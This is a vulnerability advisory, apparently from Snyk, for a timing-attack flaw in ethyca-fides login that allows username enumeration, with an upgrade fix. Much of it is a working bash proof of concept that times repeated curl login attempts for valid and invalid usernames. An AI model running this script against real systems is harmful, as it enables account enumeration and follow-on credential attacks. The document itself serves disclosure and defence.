Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade ethyca-fides
to version 2.44.0 or higher.
ethyca-fides is an Open-source ecosystem for data privacy as code.
Affected versions of this package are vulnerable to Timing Attack due to the discrepancy in response times between valid and invalid usernames in the login endpoint. An attacker can determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. By exploiting this vulnerability, an attacker can enumerate users on the system.
#!/bin/bash
# Function to test login and calculate average transfer times
test_login(){
echo -e "\nTesting login for user: $1\n"
total_diff=0
for (( i=1; i <= 20; ++i ))
do
echo -n "Attempt #$i: "
resp=$(curl -w @- "$LOGIN_URL" \
-H 'content-type: application/json' \
--data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
-o /dev/null -s <<'EOF'
{
"pretransfer": %{time_pretransfer},
"starttransfer": %{time_starttransfer}
}
EOF
)
pre=$(echo $resp | jq '.pretransfer')
start=$(echo $resp | jq '.starttransfer')
diff=$(echo "$start - $pre" | bc)
# Accumulate total diff
total_diff=$(echo "$total_diff + $diff" | bc)
# Print the result of this iteration
printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
done
# Calculate average diff
avg_diff=$(echo "scale=4; $total_diff / 20" | bc)
# Print average time
echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}
# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
echo "Error: LOGIN_URL environment variable is not set."
exit 1
fi
# Test valid and invalid users
test_login valid_user
test_login invalid_user